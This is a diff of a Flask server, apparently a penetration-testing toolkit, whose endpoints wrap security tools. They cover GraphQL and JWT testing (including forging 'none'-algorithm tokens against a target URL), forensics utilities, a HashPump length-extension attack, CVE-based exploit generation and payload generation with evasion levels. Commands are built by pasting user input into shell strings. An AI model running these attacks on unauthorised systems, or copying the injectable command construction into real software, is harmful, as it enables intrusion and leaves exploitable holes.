logger.info(f"๐Ÿ” Starting API endpoint discovery: {base_url}") result = execute_command(command) logger.info(f"๐Ÿ“Š API endpoint discovery completed") - + return jsonify({ "success": True, "fuzzing_type": "endpoint_discovery", "result": result }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in API fuzzer: {str(e)}") return jsonify({ @@ -13035,22 +13035,22 @@ def graphql_scanner(): introspection = params.get("introspection", True) query_depth = params.get("query_depth", 10) mutations = params.get("test_mutations", True) - + if not endpoint: logger.warning("๐ŸŒ GraphQL Scanner called without endpoint parameter") return jsonify({ "error": "GraphQL endpoint parameter is required" }), 400 - + logger.info(f"๐Ÿ” Starting GraphQL security scan: {endpoint}") - + results = { "endpoint": endpoint, "tests_performed": [], "vulnerabilities": [], "recommendations": [] } - + # Test 1: Introspection query if introspection: introspection_query = ''' @@ -13068,48 +13068,48 @@ def graphql_scanner(): } } ''' - + clean_query = introspection_query.replace('\n', ' ').replace(' ', ' ').strip() command = f"curl -s -X POST -H 'Content-Type: application/json' -d '{{\"query\":\"{clean_query}\"}}' '{endpoint}'" result = execute_command(command, use_cache=False) - + results["tests_performed"].append("introspection_query") - + if "data" in result.get("stdout", ""): results["vulnerabilities"].append({ "type": "introspection_enabled", "severity": "MEDIUM", "description": "GraphQL introspection is enabled" }) - + # Test 2: Query depth analysis deep_query = "{ " * query_depth + "field" + " }" * query_depth command = f"curl -s -X POST -H 'Content-Type: application/json' -d '{{\"query\":\"{deep_query}\"}}' {endpoint}" depth_result = execute_command(command, use_cache=False) - + results["tests_performed"].append("query_depth_analysis") - + if "error" not in depth_result.get("stdout", "").lower(): results["vulnerabilities"].append({ "type": "no_query_depth_limit", "severity": "HIGH", "description": f"No query depth limiting detected (tested depth: {query_depth})" }) - + # Test 3: Batch query testing batch_query = '[' + ','.join(['{\"query\":\"{field}\"}' for _ in range(10)]) + ']' command = f"curl -s -X POST -H 'Content-Type: application/json' -d '{batch_query}' {endpoint}" batch_result = execute_command(command, use_cache=False) - + results["tests_performed"].append("batch_query_testing") - + if "data" in batch_result.get("stdout", "") and batch_result.get("success"): results["vulnerabilities"].append({ "type": "batch_queries_allowed", "severity": "MEDIUM", "description": "Batch queries are allowed without rate limiting" }) - + # Generate recommendations if results["vulnerabilities"]: results["recommendations"] = [ @@ -13119,14 +13119,14 @@ def graphql_scanner(): "Implement query complexity analysis", "Add authentication for sensitive operations" ] - + logger.info(f"๐Ÿ“Š GraphQL scan completed | Vulnerabilities found: {len(results['vulnerabilities'])}") - + return jsonify({ "success": True, "graphql_scan_results": results }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in GraphQL scanner: {str(e)}") return jsonify({ @@ -13140,22 +13140,22 @@ def jwt_analyzer(): params = request.json jwt_token = params.get("jwt_token", "") target_url = params.get("target_url", "") - + if not jwt_token: logger.warning("๐Ÿ” JWT Analyzer called without jwt_token parameter") return jsonify({ "error": "JWT token parameter is required" }), 400 - + logger.info(f"๐Ÿ” Starting JWT security analysis") - + results = { "token": jwt_token[:50] + "..." if len(jwt_token) > 50 else jwt_token, "vulnerabilities": [], "token_info": {}, "attack_vectors": [] } - + # Decode JWT header and payload (basic analysis) try: parts = jwt_token.split('.') @@ -13163,31 +13163,31 @@ def jwt_analyzer(): # Decode header import base64 import json - + # Add padding if needed header_b64 = parts[0] + '=' * (4 - len(parts[0]) % 4) payload_b64 = parts[1] + '=' * (4 - len(parts[1]) % 4) - + try: header = json.loads(base64.b64decode(header_b64)) payload = json.loads(base64.b64decode(payload_b64)) - + results["token_info"] = { "header": header, "payload": payload, "algorithm": header.get("alg", "unknown") } - + # Check for vulnerabilities algorithm = header.get("alg", "").lower() - + if algorithm == "none": results["vulnerabilities"].append({ "type": "none_algorithm", "severity": "CRITICAL", "description": "JWT uses 'none' algorithm - no signature verification" }) - + if algorithm in ["hs256", "hs384", "hs512"]: results["attack_vectors"].append("hmac_key_confusion") results["vulnerabilities"].append({ @@ -13195,7 +13195,7 @@ def jwt_analyzer(): "severity": "MEDIUM", "description": "HMAC algorithm detected - vulnerable to key confusion attacks" }) - + # Check token expiration exp = payload.get("exp") if not exp: @@ -13204,21 +13204,21 @@ def jwt_analyzer(): "severity": "HIGH", "description": "JWT token has no expiration time" }) - + except Exception as decode_error: results["vulnerabilities"].append({ "type": "malformed_token", "severity": "HIGH", "description": f"Token decoding failed: {str(decode_error)}" }) - + except Exception as e: results["vulnerabilities"].append({ "type": "invalid_format", "severity": "HIGH", "description": "Invalid JWT token format" }) - + # Test token manipulation if target URL provided if target_url: # Test none algorithm attack @@ -13227,24 +13227,24 @@ def jwt_analyzer(): # Create none algorithm token none_header = base64.b64encode('{"alg":"none","typ":"JWT"}'.encode()).decode().rstrip('=') none_token = f"{none_header}.{none_token_parts[1]}." - + command = f"curl -s -H 'Authorization: Bearer {none_token}' '{target_url}'" none_result = execute_command(command, use_cache=False) - + if "200" in none_result.get("stdout", "") or "success" in none_result.get("stdout", "").lower(): results["vulnerabilities"].append({ "type": "none_algorithm_accepted", "severity": "CRITICAL", "description": "Server accepts tokens with 'none' algorithm" }) - + logger.info(f"๐Ÿ“Š JWT analysis completed | Vulnerabilities found: {len(results['vulnerabilities'])}") - + return jsonify({ "success": True, "jwt_analysis_results": results }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in JWT analyzer: {str(e)}") return jsonify({ @@ -13258,26 +13258,26 @@ def api_schema_analyzer(): params = request.json schema_url = params.get("schema_url", "") schema_type = params.get("schema_type", "openapi") # openapi, swagger, graphql - + if not schema_url: logger.warning("๐Ÿ“‹ API Schema Analyzer called without schema_url parameter") return jsonify({ "error": "Schema URL parameter is required" }), 400 - + logger.info(f"๐Ÿ” Starting API schema analysis: {schema_url}") - + # Fetch schema command = f"curl -s '{schema_url}'" result = execute_command(command, use_cache=True) - + if not result.get("success"): return jsonify({ "error": "Failed to fetch API schema" }), 400 - + schema_content = result.get("stdout", "") - + analysis_results = { "schema_url": schema_url, "schema_type": schema_type, @@ -13285,16 +13285,16 @@ def api_schema_analyzer(): "security_issues": [], "recommendations": [] } - + # Parse schema based on type try: import json schema_data = json.loads(schema_content) - + if schema_type.lower() in ["openapi", "swagger"]: # OpenAPI/Swagger analysis paths = schema_data.get("paths", {}) - + for path, methods in paths.items(): for method, details in methods.items(): if isinstance(details, dict): @@ -13306,7 +13306,7 @@ def api_schema_analyzer(): "security": details.get("security", []) } analysis_results["endpoints_found"].append(endpoint_info) - + # Check for security issues if not endpoint_info["security"]: analysis_results["security_issues"].append({ @@ -13315,7 +13315,7 @@ def api_schema_analyzer(): "severity": "MEDIUM", "description": "Endpoint has no authentication requirements" }) - + # Check for sensitive data in parameters for param in endpoint_info["parameters"]: param_name = param.get("name", "").lower() @@ -13326,7 +13326,7 @@ def api_schema_analyzer(): "severity": "HIGH", "description": f"Sensitive parameter detected: {param_name}" }) - + # Generate recommendations if analysis_results["security_issues"]: analysis_results["recommendations"] = [ @@ -13337,7 +13337,7 @@ def api_schema_analyzer(): "Add proper error handling", "Use secure headers (CORS, CSP, etc.)" ] - + except json.JSONDecodeError: analysis_results["security_issues"].append({ "endpoint": "schema", @@ -13345,14 +13345,14 @@ def api_schema_analyzer(): "severity": "HIGH", "description": "Schema is not valid JSON" }) - + logger.info(f"๐Ÿ“Š Schema analysis completed | Issues found: {len(analysis_results['security_issues'])}") - + return jsonify({ "success": True, "schema_analysis_results": analysis_results }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in API schema analyzer: {str(e)}") return jsonify({ @@ -13372,27 +13372,27 @@ def volatility3(): plugin = params.get("plugin", "") output_file = params.get("output_file", "") additional_args = params.get("additional_args", "") - + if not memory_file: logger.warning("๐Ÿง  Volatility3 called without memory_file parameter") return jsonify({ "error": "Memory file parameter is required" }), 400 - + if not plugin: logger.warning("๐Ÿง  Volatility3 called without plugin parameter") return jsonify({ "error": "Plugin parameter is required" }), 400 - + command = f"vol.py -f {memory_file} {plugin}" - + if output_file: command += f" -o {output_file}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿง  Starting Volatility3 analysis: {plugin}") result = execute_command(command) logger.info(f"๐Ÿ“Š Volatility3 analysis completed") @@ -13412,26 +13412,26 @@ def foremost(): output_dir = params.get("output_dir", "/tmp/foremost_output") file_types = params.get("file_types", "") additional_args = params.get("additional_args", "") - + if not input_file: logger.warning("๐Ÿ“ Foremost called without input_file parameter") return jsonify({ "error": "Input file parameter is required" }), 400 - + # Ensure output directory exists Path(output_dir).mkdir(parents=True, exist_ok=True) - + command = f"foremost -o {output_dir}" - + if file_types: command += f" -t {file_types}" - + if additional_args: command += f" {additional_args}" - + command += f" {input_file}" - + logger.info(f"๐Ÿ“ Starting Foremost file carving: {input_file}") result = execute_command(command) result["output_directory"] = output_dir @@ -13454,13 +13454,13 @@ def steghide(): passphrase = params.get("passphrase", "") output_file = params.get("output_file", "") additional_args = params.get("additional_args", "") - + if not cover_file: logger.warning("๐Ÿ–ผ๏ธ Steghide called without cover_file parameter") return jsonify({ "error": "Cover file parameter is required" }), 400 - + if action == "extract": command = f"steghide extract -sf {cover_file}" if output_file: @@ -13473,15 +13473,15 @@ def steghide(): command = f"steghide info {cover_file}" else: return jsonify({"error": "Invalid action. Use: extract, embed, info"}), 400 - + if passphrase: command += f" -p {passphrase}" else: command += " -p ''" # Empty passphrase - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ–ผ๏ธ Starting Steghide {action}: {cover_file}") result = execute_command(command) logger.info(f"๐Ÿ“Š Steghide {action} completed") @@ -13501,26 +13501,26 @@ def exiftool(): output_format = params.get("output_format", "") # json, xml, csv tags = params.get("tags", "") additional_args = params.get("additional_args", "") - + if not file_path: logger.warning("๐Ÿ“ท ExifTool called without file_path parameter") return jsonify({ "error": "File path parameter is required" }), 400 - + command = f"exiftool" - + if output_format: command += f" -{output_format}" - + if tags: command += f" -{tags}" - + if additional_args: command += f" {additional_args}" - + command += f" {file_path}" - + logger.info(f"๐Ÿ“ท Starting ExifTool analysis: {file_path}") result = execute_command(command) logger.info(f"๐Ÿ“Š ExifTool analysis completed") @@ -13541,18 +13541,18 @@ def hashpump(): key_length = params.get("key_length", "") append_data = params.get("append_data", "") additional_args = params.get("additional_args", "") - + if not all([signature, data, key_length, append_data]): logger.warning("๐Ÿ” HashPump called without required parameters") return jsonify({ "error": "Signature, data, key_length, and append_data parameters are required" }), 400 - + command = f"hashpump -s {signature} -d '{data}' -k {key_length} -a '{append_data}'" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting HashPump attack") result = execute_command(command) logger.info(f"๐Ÿ“Š HashPump attack completed") @@ -13569,7 +13569,17 @@ def hashpump(): @app.route("/api/tools/hakrawler", methods=["POST"]) def hakrawler(): - """Execute Hakrawler for web endpoint discovery with enhanced logging""" + """ + Execute Hakrawler for web endpoint discovery with enhanced logging + + Note: This implementation uses the standard Kali Linux hakrawler (hakluke/hakrawler) + command line arguments, NOT the Elsfa7-110 fork. The standard version uses: + - echo URL | hakrawler (stdin input) + - -d for depth (not -depth) + - -s for showing sources (not -forms) + - -u for unique URLs + - -subs for subdomain inclusion + """ try: params = request.json url = params.get("url", "") @@ -13579,27 +13589,27 @@ def hakrawler(): sitemap = params.get("sitemap", True) wayback = params.get("wayback", False) additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐Ÿ•ท๏ธ Hakrawler called without URL parameter") return jsonify({ "error": "URL parameter is required" }), 400 - - command = f"hakrawler -url {url} -depth {depth}" - + + # Build command for standard Kali Linux hakrawler (hakluke version) + command = f"echo '{url}' | hakrawler -d {depth}" + if forms: - command += " -forms" - if robots: - command += " -robots" - if sitemap: - command += " -sitemap" - if wayback: - command += " -wayback" - + command += " -s" # Show sources (includes forms) + if robots or sitemap or wayback: + command += " -subs" # Include subdomains for better coverage + + # Add unique URLs flag for cleaner output + command += " -u" + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ•ท๏ธ Starting Hakrawler crawling: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š Hakrawler crawling completed") @@ -13622,26 +13632,26 @@ def cve_monitor(): hours = params.get("hours", 24) severity_filter = params.get("severity_filter", "HIGH,CRITICAL") keywords = params.get("keywords", "") - + logger.info(f"๐Ÿ” Monitoring CVE feeds for last {hours} hours with severity filter: {severity_filter}") - + # Fetch latest CVEs cve_results = cve_intelligence.fetch_latest_cves(hours, severity_filter) - + # Filter by keywords if provided if keywords and cve_results.get("success"): keyword_list = [k.strip().lower() for k in keywords.split(",")] filtered_cves = [] - + for cve in cve_results.get("cves", []): description = cve.get("description", "").lower() if any(keyword in description for keyword in keyword_list): filtered_cves.append(cve) - + cve_results["cves"] = filtered_cves cve_results["filtered_by_keywords"] = keywords cve_results["total_after_filter"] = len(filtered_cves) - + # Analyze exploitability for top CVEs exploitability_analysis = [] for cve in cve_results.get("cves", [])[:5]: # Analyze top 5 CVEs @@ -13650,17 +13660,17 @@ def cve_monitor(): analysis = cve_intelligence.analyze_cve_exploitability(cve_id) if analysis.get("success"): exploitability_analysis.append(analysis) - + result = { "success": True, "cve_monitoring": cve_results, "exploitability_analysis": exploitability_analysis, "timestamp": datetime.now().isoformat() } - + logger.info(f"๐Ÿ“Š CVE monitoring completed | Found: {len(cve_results.get('cves', []))} CVEs") return jsonify(result) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in CVE monitoring: {str(e)}") return jsonify({ @@ -13678,7 +13688,7 @@ def exploit_generate(): target_arch = params.get("target_arch", "x64") exploit_type = params.get("exploit_type", "poc") evasion_level = params.get("evasion_level", "none") - + # Additional target context target_info = { "target_os": target_os, @@ -13689,25 +13699,25 @@ def exploit_generate(): "target_port": params.get("target_port", 80), "description": params.get("target_description", f"Target for {cve_id}") } - + if not cve_id: logger.warning("๐Ÿค– Exploit generation called without CVE ID") return jsonify({ "success": False, "error": "CVE ID parameter is required" }), 400 - + logger.info(f"๐Ÿค– Generating exploit for {cve_id} | Target: {target_os} {target_arch}") - + # First analyze the CVE for context cve_analysis = cve_intelligence.analyze_cve_exploitability(cve_id) - + if not cve_analysis.get("success"): return jsonify({ "success": False, "error": f"Failed to analyze CVE {cve_id}: {cve_analysis.get('error', 'Unknown error')}" }), 400 - + # Prepare CVE data for exploit generation cve_data = { "cve_id": cve_id, @@ -13715,13 +13725,13 @@ def exploit_generate(): "exploitability_level": cve_analysis.get("exploitability_level", "UNKNOWN"), "exploitability_score": cve_analysis.get("exploitability_score", 0) } - + # Generate exploit exploit_result = exploit_generator.generate_exploit_from_cve(cve_data, target_info) - + # Search for existing exploits for reference existing_exploits = cve_intelligence.search_existing_exploits(cve_id) - + result = { "success": True, "cve_analysis": cve_analysis, @@ -13730,10 +13740,10 @@ def exploit_generate(): "target_info": target_info, "timestamp": datetime.now().isoformat() } - + logger.info(f"๐ŸŽฏ Exploit generation completed for {cve_id}") return jsonify(result) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in exploit generation: {str(e)}") return jsonify({ @@ -13749,54 +13759,54 @@ def discover_attack_chains(): target_software = params.get("target_software", "") attack_depth = params.get("attack_depth", 3) include_zero_days = params.get("include_zero_days", False) - + if not target_software: logger.warning("๐Ÿ”— Attack chain discovery called without target software") return jsonify({ "success": False, "error": "Target software parameter is required" }), 400 - + logger.info(f"๐Ÿ”— Discovering attack chains for {target_software} | Depth: {attack_depth}") - + # Discover attack chains chain_results = vulnerability_correlator.find_attack_chains(target_software, attack_depth) - + # Enhance with exploit generation for viable chains if chain_results.get("success") and chain_results.get("attack_chains"): enhanced_chains = [] - + for chain in chain_results["attack_chains"][:2]: # Enhance top 2 chains enhanced_chain = chain.copy() enhanced_stages = [] - + for stage in chain["stages"]: enhanced_stage = stage.copy() - + # Try to generate exploit for this stage vuln = stage.get("vulnerability", {}) cve_id = vuln.get("cve_id", "") - + if cve_id: try: cve_data = {"cve_id": cve_id, "description": vuln.get("description", "")} target_info = {"target_os": "linux", "target_arch": "x64", "evasion_level": "basic"} - + exploit_result = exploit_generator.generate_exploit_from_cve(cve_data, target_info) enhanced_stage["exploit_available"] = exploit_result.get("success", False) - + if exploit_result.get("success"): enhanced_stage["exploit_code"] = exploit_result.get("exploit_code", "")[:500] + "..." except: enhanced_stage["exploit_available"] = False - + enhanced_stages.append(enhanced_stage) - + enhanced_chain["stages"] = enhanced_stages enhanced_chains.append(enhanced_chain) - + chain_results["enhanced_chains"] = enhanced_chains - + result = { "success": True, "attack_chain_discovery": chain_results, @@ -13807,10 +13817,10 @@ def discover_attack_chains(): }, "timestamp": datetime.now().isoformat() } - + logger.info(f"๐ŸŽฏ Attack chain discovery completed | Found: {len(chain_results.get('attack_chains', []))} chains") return jsonify(result) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in attack chain discovery: {str(e)}") return jsonify({ @@ -13826,19 +13836,19 @@ def threat_intelligence_feeds(): indicators = params.get("indicators", []) timeframe = params.get("timeframe", "30d") sources = params.get("sources", "all") - + if isinstance(indicators, str): indicators = [i.strip() for i in indicators.split(",")] - + if not indicators: logger.warning("๐Ÿง  Threat intelligence called without indicators") return jsonify({ "success": False, "error": "Indicators parameter is required" }), 400 - + logger.info(f"๐Ÿง  Correlating threat intelligence for {len(indicators)} indicators") - + correlation_results = { "indicators_analyzed": indicators, "timeframe": timeframe, @@ -13847,12 +13857,12 @@ def threat_intelligence_feeds(): "threat_score": 0, "recommendations": [] } - + # Analyze each indicator cve_indicators = [i for i in indicators if i.startswith("CVE-")] ip_indicators = [i for i in indicators if i.replace(".", "").isdigit()] hash_indicators = [i for i in indicators if len(i) in [32, 40, 64] and all(c in "0123456789abcdef" for c in i.lower())] - + # Process CVE indicators for cve_id in cve_indicators: try: @@ -13864,11 +13874,11 @@ def threat_intelligence_feeds(): "analysis": cve_analysis, "threat_level": cve_analysis.get("exploitability_level", "UNKNOWN") }) - + # Add to threat score exploit_score = cve_analysis.get("exploitability_score", 0) correlation_results["threat_score"] += min(exploit_score, 100) - + # Search for existing exploits exploits = cve_intelligence.search_existing_exploits(cve_id) if exploits.get("success") and exploits.get("total_exploits", 0) > 0: @@ -13879,10 +13889,10 @@ def threat_intelligence_feeds(): "threat_level": "HIGH" }) correlation_results["threat_score"] += 25 - + except Exception as e: logger.warning(f"Error analyzing CVE {cve_id}: {str(e)}") - + # Process IP indicators (basic reputation check simulation) for ip in ip_indicators: # Simulate threat intelligence lookup @@ -13896,7 +13906,7 @@ def threat_intelligence_feeds(): }, "threat_level": "MEDIUM" # Default for unknown IPs }) - + # Process hash indicators for hash_val in hash_indicators: correlation_results["correlations"].append({ @@ -13909,12 +13919,12 @@ def threat_intelligence_feeds(): }, "threat_level": "MEDIUM" }) - + # Calculate overall threat score and generate recommendations total_indicators = len(indicators) if total_indicators > 0: correlation_results["threat_score"] = min(correlation_results["threat_score"] / total_indicators, 100) - + if correlation_results["threat_score"] >= 75: correlation_results["recommendations"] = [ "Immediate threat response required", @@ -13936,16 +13946,16 @@ def threat_intelligence_feeds(): "Plan routine patching", "Consider additional threat intelligence sources" ] - + result = { "success": True, "threat_intelligence": correlation_results, "timestamp": datetime.now().isoformat() } - + logger.info(f"๐ŸŽฏ Threat intelligence correlation completed | Threat Score: {correlation_results['threat_score']:.1f}") return jsonify(result) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in threat intelligence: {str(e)}") return jsonify({ @@ -13961,16 +13971,16 @@ def zero_day_research(): target_software = params.get("target_software", "") analysis_depth = params.get("analysis_depth", "standard") source_code_url = params.get("source_code_url", "") - + if not target_software: logger.warning("๐Ÿ”ฌ Zero-day research called without target software") return jsonify({ "success": False, "error": "Target software parameter is required" }), 400 - + logger.info(f"๐Ÿ”ฌ Starting zero-day research for {target_software} | Depth: {analysis_depth}") - + research_results = { "target_software": target_software, "analysis_depth": analysis_depth, @@ -13979,7 +13989,7 @@ def zero_day_research(): "risk_assessment": {}, "recommendations": [] } - + # Define research areas based on software type common_research_areas = [ "Input validation vulnerabilities", @@ -13990,7 +14000,7 @@ def zero_day_research(): "Race conditions", "Logic flaws" ] - + # Software-specific research areas web_research_areas = [ "Cross-site scripting (XSS)", @@ -13999,7 +14009,7 @@ def zero_day_research(): "Insecure deserialization", "Template injection" ] - + system_research_areas = [ "Buffer overflows", "Privilege escalation", @@ -14007,7 +14017,7 @@ def zero_day_research(): "Service exploitation", "Configuration weaknesses" ] - + # Determine research areas based on target target_lower = target_software.lower() if any(web_tech in target_lower for web_tech in ["apache", "nginx", "tomcat", "php", "node", "django"]): @@ -14016,10 +14026,10 @@ def zero_day_research(): research_results["research_areas"] = common_research_areas + system_research_areas else: research_results["research_areas"] = common_research_areas - + # Simulate vulnerability discovery based on analysis depth vuln_count = {"quick": 2, "standard": 4, "comprehensive": 6}.get(analysis_depth, 4) - + for i in range(vuln_count): potential_vuln = { "id": f"RESEARCH-{target_software.upper()}-{i+1:03d}", @@ -14032,11 +14042,11 @@ def zero_day_research(): "proof_of_concept": "Research phase - PoC development needed" } research_results["potential_vulnerabilities"].append(potential_vuln) - + # Risk assessment high_risk_count = sum(1 for v in research_results["potential_vulnerabilities"] if v["severity"] in ["HIGH", "CRITICAL"]) total_vulns = len(research_results["potential_vulnerabilities"]) - + research_results["risk_assessment"] = { "total_areas_analyzed": len(research_results["research_areas"]), "potential_vulnerabilities_found": total_vulns, @@ -14044,7 +14054,7 @@ def zero_day_research(): "risk_score": min((high_risk_count * 25 + (total_vulns - high_risk_count) * 10), 100), "research_confidence": analysis_depth } - + # Generate recommendations if high_risk_count > 0: research_results["recommendations"] = [ @@ -14061,7 +14071,7 @@ def zero_day_research(): "Implement defense-in-depth strategies", "Regular security assessments recommended" ] - + # Source code analysis simulation if source_code_url: research_results["source_code_analysis"] = { @@ -14074,17 +14084,17 @@ def zero_day_research(): ], "recommendation": "Manual code review recommended for identified areas" } - + result = { "success": True, "zero_day_research": research_results, "disclaimer": "This is simulated research for demonstration. Real zero-day research requires extensive manual analysis.", "timestamp": datetime.now().isoformat() } - + logger.info(f"๐ŸŽฏ Zero-day research completed | Risk Score: {research_results['risk_assessment']['risk_score']}") return jsonify(result) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in zero-day research: {str(e)}") return jsonify({ @@ -14101,16 +14111,16 @@ def advanced_payload_generation(): target_context = params.get("target_context", "") evasion_level = params.get("evasion_level", "standard") custom_constraints = params.get("custom_constraints", "") - + if not attack_type: logger.warning("๐ŸŽฏ Advanced payload generation called without attack type") return jsonify({ "success": False, "error": "Attack type parameter is required" }), 400 - + logger.info(f"๐ŸŽฏ Generating advanced {attack_type} payload with {evasion_level} evasion") - + # Enhanced payload generation with contextual AI target_info = { "attack_type": attack_type, @@ -14119,13 +14129,13 @@ def advanced_payload_generation(): "evasion_level": evasion_level, "constraints": custom_constraints } - + # Generate base payloads using existing AI system base_result = ai_payload_generator.generate_contextual_payload(target_info) - + # Enhance with advanced techniques advanced_payloads = [] - + for payload_info in base_result.get("payloads", [])[:10]: # Limit to 10 advanced payloads enhanced_payload = { "payload": payload_info["payload"], @@ -14134,7 +14144,7 @@ def advanced_payload_generation(): "evasion_techniques": [], "deployment_methods": [] } - + # Apply evasion techniques based on level if evasion_level in ["advanced", "nation-state"]: # Advanced encoding techniques @@ -14153,7 +14163,7 @@ def advanced_payload_generation(): } ] enhanced_payload["evasion_techniques"].extend(encoded_variants) - + if evasion_level == "nation-state": # Nation-state level techniques advanced_techniques = [ @@ -14171,7 +14181,7 @@ def advanced_payload_generation(): } ] enhanced_payload["evasion_techniques"].extend(advanced_techniques) - + # Deployment methods enhanced_payload["deployment_methods"] = [ "Direct injection", @@ -14180,9 +14190,9 @@ def advanced_payload_generation(): "Cookie manipulation", "Fragment-based delivery" ] - + advanced_payloads.append(enhanced_payload) - + # Generate deployment instructions deployment_guide = { "pre_deployment": [ @@ -14204,7 +14214,7 @@ def advanced_payload_generation(): "Report vulnerabilities responsibly" ] } - + result = { "success": True, "advanced_payload_generation": { @@ -14219,10 +14229,10 @@ def advanced_payload_generation(): "disclaimer": "These payloads are for authorized security testing only. Ensure proper authorization before use.", "timestamp": datetime.now().isoformat() } - + logger.info(f"๐ŸŽฏ Advanced payload generation completed | Generated: {len(advanced_payloads)} payloads") return jsonify(result) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in advanced payload generation: {str(e)}") return jsonify({ @@ -14245,10 +14255,10 @@ def create_ctf_challenge_workflow(): points = params.get("points", 100) description = params.get("description", "") target = params.get("target", "") - + if not challenge_name: return jsonify({"error": "Challenge name is required"}), 400 - + # Create CTF challenge object challenge = CTFChallenge( name=challenge_name, @@ -14258,10 +14268,10 @@ def create_ctf_challenge_workflow(): description=description, target=target ) - + # Generate workflow workflow = ctf_manager.create_ctf_challenge_workflow(challenge) - + logger.info(f"๐ŸŽฏ CTF workflow created for {challenge_name} | Category: {category} | Difficulty: {difficulty}") return jsonify({ "success": True, @@ -14269,7 +14279,7 @@ def create_ctf_challenge_workflow(): "challenge": challenge.to_dict(), "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating CTF workflow: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14285,10 +14295,10 @@ def auto_solve_ctf_challenge(): points = params.get("points", 100) description = params.get("description", "") target = params.get("target", "") - + if not challenge_name: return jsonify({"error": "Challenge name is required"}), 400 - + # Create CTF challenge object challenge = CTFChallenge( name=challenge_name, @@ -14298,10 +14308,10 @@ def auto_solve_ctf_challenge(): description=description, target=target ) - + # Attempt automated solving result = ctf_automator.auto_solve_challenge(challenge) - + logger.info(f"๐Ÿค– CTF auto-solve attempted for {challenge_name} | Status: {result['status']}") return jsonify({ "success": True, @@ -14309,7 +14319,7 @@ def auto_solve_ctf_challenge(): "challenge": challenge.to_dict(), "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in CTF auto-solve: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14321,10 +14331,10 @@ def create_ctf_team_strategy(): params = request.json challenges_data = params.get("challenges", []) team_skills = params.get("team_skills", {}) - + if not challenges_data: return jsonify({"error": "Challenges data is required"}), 400 - + # Convert challenge data to CTFChallenge objects challenges = [] for challenge_data in challenges_data: @@ -14337,10 +14347,10 @@ def create_ctf_team_strategy(): target=challenge_data.get("target", "") ) challenges.append(challenge) - + # Generate team strategy strategy = ctf_coordinator.optimize_team_strategy(challenges, team_skills) - + logger.info(f"๐Ÿ‘ฅ CTF team strategy created | Challenges: {len(challenges)} | Team members: {len(team_skills)}") return jsonify({ "success": True, @@ -14349,7 +14359,7 @@ def create_ctf_team_strategy(): "team_size": len(team_skills), "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating CTF team strategy: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14361,14 +14371,14 @@ def suggest_ctf_tools(): params = request.json description = params.get("description", "") category = params.get("category", "misc") - + if not description: return jsonify({"error": "Challenge description is required"}), 400 - + # Get tool suggestions suggested_tools = ctf_tools.suggest_tools_for_challenge(description, category) category_tools = ctf_tools.get_category_tools(f"{category}_recon") - + # Get tool commands tool_commands = {} for tool in suggested_tools: @@ -14376,7 +14386,7 @@ def suggest_ctf_tools(): tool_commands[tool] = ctf_tools.get_tool_command(tool, "TARGET") except: tool_commands[tool] = f"{tool} TARGET" - + logger.info(f"๐Ÿ”ง CTF tools suggested | Category: {category} | Tools: {len(suggested_tools)}") return jsonify({ "success": True, @@ -14386,7 +14396,7 @@ def suggest_ctf_tools(): "category": category, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error suggesting CTF tools: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14401,10 +14411,10 @@ def ctf_cryptography_solver(): key_hint = params.get("key_hint", "") known_plaintext = params.get("known_plaintext", "") additional_info = params.get("additional_info", "") - + if not cipher_text: return jsonify({"error": "Cipher text is required"}), 400 - + results = { "cipher_text": cipher_text, "cipher_type": cipher_type, @@ -14413,53 +14423,53 @@ def ctf_cryptography_solver(): "recommended_tools": [], "next_steps": [] } - + # Cipher type identification if cipher_type == "unknown": # Basic cipher identification heuristics if re.match(r'^[0-9a-fA-F]+$', cipher_text.replace(' ', '')): results["analysis_results"].append("Possible hexadecimal encoding") results["recommended_tools"].extend(["hex", "xxd"]) - + if re.match(r'^[A-Za-z0-9+/]+=*$', cipher_text.replace(' ', '')): results["analysis_results"].append("Possible Base64 encoding") results["recommended_tools"].append("base64") - + if len(set(cipher_text.upper().replace(' ', ''))) <= 26: results["analysis_results"].append("Possible substitution cipher") results["recommended_tools"].extend(["frequency-analysis", "substitution-solver"]) - + # Hash identification hash_patterns = { 32: "MD5", - 40: "SHA1", + 40: "SHA1", 64: "SHA256", 128: "SHA512" } - + clean_text = cipher_text.replace(' ', '').replace('\n', '') if len(clean_text) in hash_patterns and re.match(r'^[0-9a-fA-F]+$', clean_text): hash_type = hash_patterns[len(clean_text)] results["analysis_results"].append(f"Possible {hash_type} hash") results["recommended_tools"].extend(["hashcat", "john", "hash-identifier"]) - + # Frequency analysis for substitution ciphers if cipher_type in ["substitution", "caesar", "vigenere"] or "substitution" in results["analysis_results"]: char_freq = {} for char in cipher_text.upper(): if char.isalpha(): char_freq[char] = char_freq.get(char, 0) + 1 - + if char_freq: most_common = max(char_freq, key=char_freq.get) results["analysis_results"].append(f"Most frequent character: {most_common} ({char_freq[most_common]} occurrences)") results["next_steps"].append("Try substituting most frequent character with 'E'") - + # ROT/Caesar cipher detection if cipher_type == "caesar" or len(set(cipher_text.upper().replace(' ', ''))) <= 26: 